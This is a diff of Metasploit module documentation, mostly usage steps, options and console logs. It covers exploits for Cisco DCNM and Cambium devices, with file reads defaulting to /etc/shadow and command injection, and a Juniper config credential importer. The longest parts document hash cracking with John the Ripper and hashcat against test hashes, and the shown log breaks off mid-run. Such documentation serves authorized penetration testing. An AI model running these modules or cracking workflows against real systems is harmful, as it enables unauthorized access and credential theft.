@@ -8,21 +8,7 @@ This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
(see References to understand why), on the other versions it abuses CVE-2019-1619 to bypass authentication.
## Author and discoverer
Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security
## References
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld
https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb
https://seclists.org/fulldisclosure/2019/Jul/7
## Usage
## Scenarios
Setup RHOST, pick the file to download (FILENAME, default is /etc/shadow) and enjoy!
@@ -8,7 +8,7 @@ Cambium cnPilot r200/r201 device software versions 4.2.3-R4 and newer, contain a
4. Do: ```set CMD [command]```
5. Do: ```run```
## Sample Output
## Scenarios
```
msf > use auxiliary/scanner/http/cnpilot_r_cmd_exec
@@ -1,3 +1,5 @@
## Vulnerable Application
This module exploits a File Path Traversal vulnerability in Cambium cnPilot r200/r201 devices to read arbitrary files off the file system. Affected versions - 4.3.3-R4 and prior.
## Verification Steps
@@ -8,7 +10,7 @@ This module exploits a File Path Traversal vulnerability in Cambium cnPilot r200
4. Do: ```set FILENAME [filename]```
5. Do: ```run```
## Sample Output
## Scenarios
```
msf > use auxiliary/scanner/http/cnpilot_r_fpt
@@ -8,7 +8,7 @@ This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000
4. Do: ```set CMD [COMMAND]```
5. Do: ```run```
## Sample Output
## Scenarios
```
msf > use auxiliary/scanner/http/epmp1000_get_chart_cmd_exec
@@ -9,7 +9,7 @@ This module exploits an access control vulnerability in Cambium ePMP device mana
5. Do: ```set NEW_PASSWORD newpass```
6. Do: ```run```
## Sample Output
## Scenarios
```
msf > use use auxiliary/scanner/http/epmp1000_reset_pass
@@ -15,7 +15,7 @@ attacker on the local network can send a crafted request to broadcast a fake vid
Doo-doodoodoodoodoo-doo, Epic Sax Guy will be broadcasted to the remote system.
## Sample Output
## Scenarios
```
msf5 > use auxiliary/admin/http/supra_smart_cloud_tv_rfi
@@ -0,0 +1,91 @@
## General Notes
This module imports a Juniper configuration file into the database.
This is similar to `post/juniper/gather/enum_juniper` only access isn't required,
and assumes you already have the file.
Example files for import can be found on git, like [this (junos)](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ex2200.config)
or [this (screenos)](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ssg5_screenos.conf).
## Verification Steps
1. Have a Juniper configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/juniper/juniper_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `set action junos`
7. `run`
## Options
**RHOST**
Needed for setting services and items to. This is relatively arbitrary.
**CONFIG**
File path to the configuration file.
**Action**
`JUNOS` for JunOS config file, and `SCREENOS` for ScreenOS config file.
## Scenarios
### JunOS
```
root@metasploit-dev:~/metasploit-framework# wget -o /dev/null -O /tmp/juniper_ex2200.config https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ex2200.config
root@metasploit-dev:~/metasploit-framework# ./msfconsole
[*] Starting persistent handler(s)...
msf5 > use auxiliary/admin/juniper/gather/juniper_config
msf5 auxiliary(admin/juniper/gather/juniper_config) > set config /tmp/juniper_ex2200.config
config => /tmp/juniper_ex2200.config
msf5 auxiliary(admin/juniper/gather/juniper_config) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 auxiliary(admin/juniper/gather/juniper_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] root password hash: $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E.
[+] User 2000 named newuser in group super-user found with password hash $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/.
[+] User 2002 named newuser2 in group operator found with password hash $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0.
[+] User 2003 named newuser3 in group read-only found with password hash $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93..
[+] User 2004 named newuser4 in group unauthorized found with password hash $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/.
[+] SNMP community read with permissions read-only
[+] SNMP community public with permissions read-only
[+] SNMP community private with permissions read-write
[+] SNMP community secretsauce with permissions read-write
[+] SNMP community hello there with permissions read-write
[+] radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV
[+] PPTP username 'pap_username' hash $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR via PAP
[+] Config import successful
[*] Auxiliary module execution completed
```
### ScreenOS
```
root@metasploit-dev:~/metasploit-framework# wget -o /dev/null -O /tmp/screenos.conf https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ssg5_screenos.conf
root@metasploit-dev:~/metasploit-framework# ./msfconsole
[*] Starting persistent handler(s)...
msf5 > use auxiliary/admin/juniper/gather/juniper_config
msf5 auxiliary(admin/juniper/gather/juniper_config) > set config /tmp/screenos.conf
config => /tmp/screenos.conf
msf5 auxiliary(admin/juniper/gather/juniper_config) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 auxiliary(admin/juniper/gather/juniper_config) > set action SCREENOS
action => SCREENOS
msf5 auxiliary(admin/juniper/gather/juniper_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] Admin user netscreen found with password hash nKVUM2rwMUzPcrkG5sWIHdCtqkAibn
[+] User 1 named testuser found with password hash auth. Enable permission: 02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE=
[+] Config import successful
[*] Auxiliary module execution completed
```
@@ -64,7 +64,7 @@ msf auxiliary(phoenix_command) > run
[*] Auxiliary module execution completed
```
## Module Options
## Options
```
msf auxiliary(phoenix_command) > show options
@@ -1,4 +1,4 @@
## Intro
## Introduction
This module acts as a simple remote control for Belkin Wemo-enabled
Crock-Pots by implementing a subset of the functionality provided by the
@@ -0,0 +1,292 @@
## Vulnerable Application
This module attempts to use a password cracker to decode AIX
based password hashes, such as:
* `DES` based passwords
Formats:
| Common | John | Hashcat |
|--------| ---------|---------|
| des | descript | 1500 |
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with a `des` password in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/crack_aix```
4. Do: set cracker of choice
5. Do: ```run```
6. You should hopefully crack a password.
## Actions
**john**
Use john the ripper (default).
**hashcat**
Use hashcat.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRACKER_PATH**
The absolute path to the cracker executable. Default behavior is to search `path`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**Fork**
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
**INCREMENTAL**
Run the cracker in incremental mode. Default is `true`
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**SHOWCOMMAND**
Show the command being used run from the command line for debugging. Default is `false`
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
**WORDLIST**
Run the cracker in dictionary/wordlist mode. Default is `true`
## Scenarios
### Sample Data
The following is data which can be used to test integration, including adding entries
to a wordlist and pot file to test various aspects of the cracker.
```
creds add user:des2_password hash:rEK1ecacw.7.c jtr:des
creds add user:des_password hash:rEK1ecacw.7.c jtr:des
creds add user:des_55 hash:rDpJV6xlcXxRM jtr:des
creds add user:des_pot_55 hash:fakeV6xlcXxRM jtr:des
creds add user:des_passphrase hash:qiyh4XPJGsOZ2MEAyLkfWqeQ jtr:des
echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
echo "test" > /tmp/wordlist
echo "password" >> /tmp/wordlist
```
### John the Ripper
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_aix
resource (hashes_hashcat.rb)> run
[+] john Version Detected: 1.9.0-jumbo-1 OMP
[*] Hashes Written out to /tmp/hashes_tmp20190531-27621-1ucwc3l
[*] Wordlist file written out to /tmp/jtrtmp20190531-27621-qk76qr
[*] Checking descrypt hashes already cracked...
[*] Cracking descrypt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-27621-qk76qr --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:06) 100.0g/s 1103Kp/s 4415Kc/s 4415KC/s test3:::..t1900
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking descrypt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
3g 0:00:00:00 DONE 1/3 (2019-05-31 15:06) 300.0g/s 614200p/s 614400c/s 614400C/s des_pass..Dde_pass
Warning: passwords printed above might be partial
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking descrypt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
Using default input encoding: UTF-8
[*] Cracking descrypt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=Z5uRTsvO --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-27621-qk76qr --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-27621-1ucwc3l
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1250 descrypt des2_password password Single
1251 descrypt des_password password Single
1252 descrypt des_55 55 Normal
1253 descrypt des_pot_55 55 Already Cracked/POT
1254 descrypt des_passphrase passphrase Normal
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
des2_password rEK1ecacw.7.c Nonreplayable hash des
des_password rEK1ecacw.7.c Nonreplayable hash des
des_55 rDpJV6xlcXxRM Nonreplayable hash des
des_pot_55 fakeV6xlcXxRM Nonreplayable hash des
des_passphrase qiyh4XPJGsOZ2MEAyLkfWqeQ Nonreplayable hash des
des_pot_55 55 Password
des2_password password Password
des_password password Password
des_55 55 Password
des_passphrase passphrase Password
```
### Hashcat
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_aix
resource (hashes_hashcat.rb)> set action hashcat
action => hashcat
resource (hashes_hashcat.rb)> run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20190531-27714-1ct3bn3
[*] Wordlist file written out to /tmp/jtrtmp20190531-27714-1j3q151
[*] Checking descrypt hashes already cracked...
[*] Cracking descrypt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=wCGD0gD0 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-27714-1ct3bn3
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking descrypt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=wCGD0gD0 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-27714-1ct3bn3 /tmp/jtrtmp20190531-27714-1j3q151
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1260 descrypt des2_password password Wordlist
1261 descrypt des_password password Wordlist
1262 descrypt des_55 55 Incremental
1263 descrypt des_pot_55 55 Already Cracked/POT
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
des2_password rEK1ecacw.7.c Nonreplayable hash des
des_password rEK1ecacw.7.c Nonreplayable hash des
des_55 rDpJV6xlcXxRM Nonreplayable hash des
des_pot_55 fakeV6xlcXxRM Nonreplayable hash des
des_passphrase qiyh4XPJGsOZ2MEAyLkfWqeQ Nonreplayable hash des
des_pot_55 55 Password
des_55 55 Password
des2_password password Password
des_password password Password
```
@@ -0,0 +1,920 @@
## Vulnerable Application
This module attempts to use a password cracker to decode varying databases
based password hashes, such as:
* `mysql` based passwords
* `mysql` based passwords
* `mysql-sha1` based passwords
* `mssql` based passwords
* `mssql` based passwords
* `mssql05` based passwords
* `mssql12` based passwords
* `oracle` based passwords
* `oracle 10` based passwords
* `oracle 11/12 H values` based passwords
* `oracle 12c` based passwords
* `postgres` based passwords
| Common | John | Hashcat |
|----------------|-------------|---------|
| mysql | mysql | 200 |
| mysql-sha1 | mysql-sha1 | 300 |
| mssql | mssql | 131 |
| mssql05 | mssql05 | 132 |
| mssql12 | mssql12 | 1731 |
| oracle 10 | oracle | n/a |
| oracle 11/12 H | | 112 |
| oracle 12c | sha512crypt | 12300 |
| postgres | postgres | 1800 |
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with a database password hash in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/crack_databases```
4. Do: set cracker of choice
5. Do: ```run```
6. You should hopefully crack a password.
## Actions
**john**
Use john the ripper (default).
**hashcat**
Use hashcat.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRACKER_PATH**
The absolute path to the cracker executable. Default behavior is to search `path`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**Fork**
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
**INCREMENTAL**
Run the cracker in incremental mode. Default is `true`
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MSSQL**
Crack MSSQL hashes. Default is `true`.
**MYSQL**
Crack MySQL hashes. Default is `true`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**ORACLE**
Crack oracle hashes. Default is `true`.
**POSTGRES**
Crack postgres hashes. Default is `true`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**SHOWCOMMAND**
Show the command being used run from the command line for debugging. Default is `false`
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
**WORDLIST**
Run the cracker in dictionary/wordlist mode. Default is `true`
## Scenarios
### Sample Data
The following is data which can be used to test integration, including adding entries
to a wordlist and pot file to test various aspects of the cracker.
```
creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05
creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279$
creds add user:mssql12_Password1! hash:0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E278$
creds add user:mysql_probe hash:445ff82636a7ba59 jtr:mysql
creds add user:mysql-sha1_tere hash:*5AD8F88516BD021DD43F171E2C785C69F8E54ADB jtr:mysql-sha1
## oracle (10) uses usernames in the hashing, so we can't overide that here
creds add user:simon hash:4F8BC1809CB2AF77 jtr:des,oracle
creds add user:SYSTEM hash:9EEDFA0AD26C6D52 jtr:des,oracle
## oracle 11/12 H value, username is used
creds add user:DEMO hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797$
## oracle 11/12 uses a LONG format, see lib/msf/core/auxiliary/jtr.rb
creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:$
creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B3$
##postgres uses username, so we can't overide that here
creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
creds add user:example postgres:md5be86a79bf20fake2d58d5453c47d4860
echo "" > /root/.msf4/john.pot
echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
echo "md5be86a79bf20fake2d58d5453c47d4860:password" >> /root/.msf4/john.pot
echo "\$1\$O3JMY.Tw\$AdLnLjQ/5jXF9.fakegHv/:password" >> /root/.msf4/john.pot
echo "test" > /tmp/wordlist
echo "password" >> /tmp/wordlist
echo "toto" >> /tmp/wordlist
echo "foo" >> /tmp/wordlist
echo "tere" >> /tmp/wordlist
echo "Password1\!" >> /tmp/wordlist
echo "system" >> /tmp/wordlist
echo "simon" >> /tmp/wordlist
echo "A" >> /tmp/wordlist
echo "THALES" >> /tmp/wordlist
echo "probe" >> /tmp/wordlist
echo "epsilon" >> /tmp/wordlist
echo "t\!" >> /tmp/wordlist
```
### John the Ripper
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_databases
resource (hashes_hashcat.rb)> run
[+] john Version Detected: 1.9.0-jumbo-1 OMP
[*] Hashes Written out to /tmp/hashes_tmp20190531-29358-125bmsb
[*] Wordlist file written out to /tmp/jtrtmp20190531-29358-11uv1t0
[*] Checking mssql hashes already cracked...
[*] Cracking mssql hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:44) 50.00g/s 400.0p/s 400.0c/s 400.0C/s TEST3:::..FOO
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking mssql hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=RiixU30Z --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1357 mssql mssql_foo FOO Single
[*] Checking mssql05 hashes already cracked...
[*] Cracking mssql05 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
2g 0:00:00:00 DONE (2019-05-31 15:44) 100.0g/s 400.0p/s 800.0c/s 800.0C/s test3:::..foo
Use the "--show --format=mssql05" options to display all of the cracked passwords reliably
Session completed
[*] Cracking mssql05 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql05 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql05 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql05 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=3FMqTSQB --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql05 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
[*] Checking mssql12 hashes already cracked...
[*] Cracking mssql12 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:44) 50.00g/s 409600p/s 409600c/s 409600C/s test3:::..Password1\!99
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking mssql12 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql12 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql12 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[*] Cracking mssql12 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=Hgkng17W --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=mssql12 --wordlist=/tmp/jtrtmp20190531-29358-11uv1t0 --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-29358-125bmsb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1356 mssql05 mssql05_toto toto Single
1357 mssql mssql_foo FOO Single
1358 mssql12 mssql12_Password1! Password1! Single
[*] Checking mysql hashes already cracked...
[*] Cracking mysql hashes in single mode...
